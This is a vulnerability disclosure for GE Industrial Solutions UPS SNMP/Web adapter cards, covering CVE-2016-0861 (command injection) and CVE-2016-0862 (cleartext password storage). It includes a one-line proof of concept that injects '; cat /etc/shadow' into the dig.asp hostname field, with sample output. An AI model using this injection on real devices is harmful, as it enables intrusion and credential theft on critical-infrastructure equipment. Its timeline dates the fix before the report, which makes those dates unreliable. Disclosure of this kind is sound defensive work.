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GE Industrial Solutions UPS SNMP Adapter Command Injection

GE Industrial Solutions UPS SNMP Adapter Command Injection
Posted Feb 4, 2016
Authored by Karn Ganeshen

GE Industrial Solutions UPS SNMP adapter suffers from command injection and clear-text storage of sensitive information.

tags | exploit
advisories | CVE-2016-0861, CVE-2016-0862
MD5 | 19482289d08ae7362b39ab500758dff9

GE Industrial Solutions UPS SNMP Adapter Command Injection

Change Mirror Download
GE Industrial Solutions - UPS SNMP Adapter Command Injection and Clear-text
Storage of Sensitive Information Vulnerabilities

*Timelines:*
Reported to ICS-CERT on: July 06, 2015
Fix & Advisory Released by GE: January 25, 2015
Vulnerability ID: GEIS16-01

*GE Advisory: *
http://apps.geindustrial.com/publibrary/checkout/GEIS_SNMP?TNR=Application%20and%20Technical|GEIS_SNMP|PDF&filename=GEIS_SNMP.pdf
<http://apps.geindustrial.com/publibrary/checkout/GEIS_SNMP?TNR=Application%20and%20Technical%7CGEIS_SNMP%7CPDF&filename=GEIS_SNMP.pdf>


*ICS-CERT Advisory:*In Progress

*About GE*

GE is a US-based company that maintains offices in several countries around
the world.

The affected product, SNMP/Web Interface adapter, is a web server designed
to present information about the Uninterruptible Power Supply (UPS).
According to GE, the SNMP/Web Interface is deployed across several sectors
including Critical Manufacturing and Energy. GE estimates that these
products are used worldwide.

*Affected Products*

• All SNMP/Web Interface cards with firmware version prior to 4.8
manufactured by GE Industrial Solutions.

*CVE-IDs:*
CVE-2016-0861
CVE-2016-0862


*VULNERABILITY OVERVIEW*
A


*COMMAND INJECTIONCVE-2016-0861*
Device application services run as (root) privileged user, and does not
perform strict input validation. This allows an authenticated user to
execute any system commands on the system.

Vulnerable function:
http://IP/dig.asp <http://ip/dig.asp>

Vulnerable parameter:
Hostname/IP address


*PoC:*
In the Hostname/IP address input, enter:
; cat /etc/shadow

Output
root:<hash>:0:0:root:/root:/bin/sh
<...other system users...>
ge:<hash>:101:0:gedeups7:/home/admin:/bin/sh
root123:<hash>:102:0:gedeups2:/home/admin:/bin/sh

B


*CLEARTEXT STORAGE OF SENSITIVE INFORMATIONCVE-2016-0862*
File contains sensitive account information stored in cleartext. All users,
including non-admins, can view/access device's configuration, via Menu
option -> Save -> Settings.

The application stores all information in clear-text, including *all user
logins and clear-text passwords*.


+++++
I sent it out on Jan 29 but for some reason, it was not posted to FD. So
sending it again.
--
Best Regards,
Karn Ganeshen
ipositivesecurity.blogspot.in


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